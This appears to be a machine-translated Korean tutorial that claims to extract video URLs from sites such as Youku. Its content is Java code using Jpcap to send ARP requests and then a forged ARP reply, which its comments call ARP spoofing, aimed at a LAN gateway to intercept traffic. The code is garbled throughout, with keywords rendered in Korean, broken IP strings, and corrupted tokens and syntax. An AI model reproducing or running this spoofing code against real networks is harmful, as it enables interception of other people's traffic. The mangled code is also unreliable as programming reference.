인터넷 오디오 및 비디오 사이트 (예: 감자, 유쿠 등) 에서 비디오 파일의 실제 URL 경로에 대한 설계 및 기술 요령을 얻습니다. ) Jpcap 스니핑을 사용합니다.
Jpcap 을 임포트합니다. JpcapCaptor
Jpcap 을 임포트합니다. JpcapSender
Jpcap 을 임포트합니다. 네트워크 인터페이스
Java.net 을 가져옵니다. *;
Java.util.arrays 가져오기
Java.io. *;
공용 클래스 수정 {
Static network interface [] devices = jpcapcaptor.getdevicelist (); //호스트 a 의 네트워크 디바이스 목록을 가져옵니다.
/*
* LAN 에 있는 호스트의 MAC 주소를 가져옵니다. 방법: ARP 요청을 전송하여 ARP 응답에서 MAC 주소를 얻습니다.
*/
정적 바이트 [] getOtherMAC (문자열 IP) 으로 인해 IOException{
Jpcapcaptor JC = jpcapcaptor.opendevice (devices [1], 2000, false, 3000);
Jpcapsendersender = jc.getjpcapsenderinstance ();
Inetaddress sender IP = inetaddress.getbyname ("192.168.10 //호스트 a 의 IP 주소입니다.
Inetaddress target IP = inetaddress.getbyname (IP); //대상 호스트의 IP 주소입니다.
Byte[] broadcast=new byte[]{ (바이트) 255, (바이트) 255, (바이트) 255, (바이트) 255, (바이트) 255 //브로드캐스트 주소
Arp packet ARP = new ARP packet (); //ARP 패키지 구성을 시작합니다.
Arp.hardtype=ARPPacket 입니다. HARDTYPE _ ETHER
Arp.prototype=ARPPacket 입니다. 프로토타입 _ IP
Arp.operation=ARPPacket 입니다. ARP _ REQUEST// 는 ARP 요청 패키지임을 나타냅니다.
Arp.hlen = 6;
Arp.plen = 4;
Arp.sender_hardaddr=devices[0] 입니다. Mac _ address//ARP 패킷 발신자의 이더넷 주소
Arp.sender _ protoaddr = senderip.getaddress (); //보낸 사람의 IP 주소
Arp.target _ hardaddr = broadcast//대상 이더넷 주소
Arp.target _ protoaddr = targetip.getaddress (); //대상 IP 주소
Ethernetpacketether = new ethernetpacket (); //이더넷 헤더 구성
Ether.frametype = 이더넷 패킷. 이더넷 유형 _ ARP// 프레임 유형
Ether.src_mac=devices[0] 입니다. Mac _ address// 이더넷 소스 주소
Ether.dst _ MAC = 브로드캐스트 //이더넷 대상 주소
Arp.datalink = ether
Sender.send packet (ARP);
While(true){ // 대상 호스트의 MAC 주소를 추출할 ARP 응답 패키지를 가져옵니다.
Arppacket p = (arppacket) jc.getpacket ();
If(p==null){
New illegalargumentexception (target IP+"로컬 주소가 아님");
}
If (arrays.equals (p.target _ protoaddr, sender IP. get address()){
Return p.sender _ hardaddr
}
}
}
공용 정적 void main(String[] args) 은 IOException {
Jpcapcaptor captor = jpcapcaptor.opendevice (devices [1], 2000, false, 3000);
Captor.setFilter("arp ",true);
Jpcapsendersender = captor.getjpcapsenderinstance ();
Arp packet ARP = new ARP packet (); //ARP 스푸핑을 구성하는 데 사용되는 패키지는 본질적으로 ARP 응답 패키지입니다.
Arp.hardtype = ARPPacket 입니다. HARDTYPE _ ETHER
Arp.prototype=ARPPacket 입니다. 프로토타입 _ IP
Arp.operation=ARPPacket 입니다. ARP _ REPLY// 는 ARP 응답 패킷임을 나타냅니다.
Arp.hlen = 6;
Arp.plen = 4;
Arp.sender_hardaddr=devices[0] 입니다. Mac _ address
Arp.sender _ protoaddr = inetaddress.getbyname ("192.168./kloc. Getaddress ();
Arp.target _ hard addr = getothermac ("192.168.10.254
Arp.target _ protoaddr = inetaddress.getbyname ("192.168./kloc. Getaddress ();
Ethernetpacketether = new ethernetpacket ();
Ether.frametype = 이더넷 패킷. 이더넷 유형 _ ARP
Ether.src _ MAC = getothermac ("192.168.10./kloc
Ether.dst _ MAC = getothermac ("192.168.10.254"))
Arp.datalink = ether
Sender.send packet (ARP);